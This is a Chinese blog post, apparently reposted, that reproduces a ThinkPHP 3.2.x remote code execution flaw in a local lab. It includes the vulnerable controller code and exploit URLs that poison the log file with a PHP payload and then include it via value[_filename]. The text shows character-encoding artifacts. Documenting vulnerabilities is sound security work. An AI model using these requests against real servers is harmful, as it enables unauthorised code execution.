ThinkPHP 3.2.x RCE漏洞復(fù)現(xiàn)
漏洞介紹
ThinkPHP3.2遠(yuǎn)程代碼執(zhí)行漏洞,該漏洞產(chǎn)生原因是由于在業(yè)務(wù)代碼中如果對(duì)模板賦值方法assign的第一個(gè)參數(shù)可控,則導(dǎo)致模板路徑變量被覆蓋為攜帶攻擊代碼路徑,造成文件包含,代碼執(zhí)行等危害。
漏洞復(fù)現(xiàn)
復(fù)現(xiàn)環(huán)境:phpstudy+php7.3.4+ThinkPHP3.2.3完整版+windows10
一、 搭建環(huán)境:
在ThinkPHP的Application\Home\Controller\IndexController.class.php
目錄下寫入模板賦值assign的 Demo
Demo:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
寫入demo后需要在view下創(chuàng)建一個(gè)index文件進(jìn)行視圖渲染
目錄:\Application\Home\View\Index\index.html
Log記錄目錄:
若開(kāi)啟debug模式日志會(huì)到:\Application\Runtime\Logs\Home\下
若未開(kāi)啟debug模式日志會(huì)到:\Application\Runtime\Logs\Common\下
二、 漏洞利用
1、創(chuàng)建log文件
http://127.0.0.1/thinkphp/index.php?m=--><?=phpinfo();?>
2、包含log文件
http://127.0.0.1/thinkphp/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/21_07_12.log
3、上傳具有惡意代碼的任何文件到服務(wù)器上,直接包含其文件相對(duì)或絕對(duì)路徑即可。
例如:http://127.0.0.1/thinkphp/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-405155.html
參考鏈接
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-405155.html
到了這里,關(guān)于ThinkPHP 3.2.x RCE漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!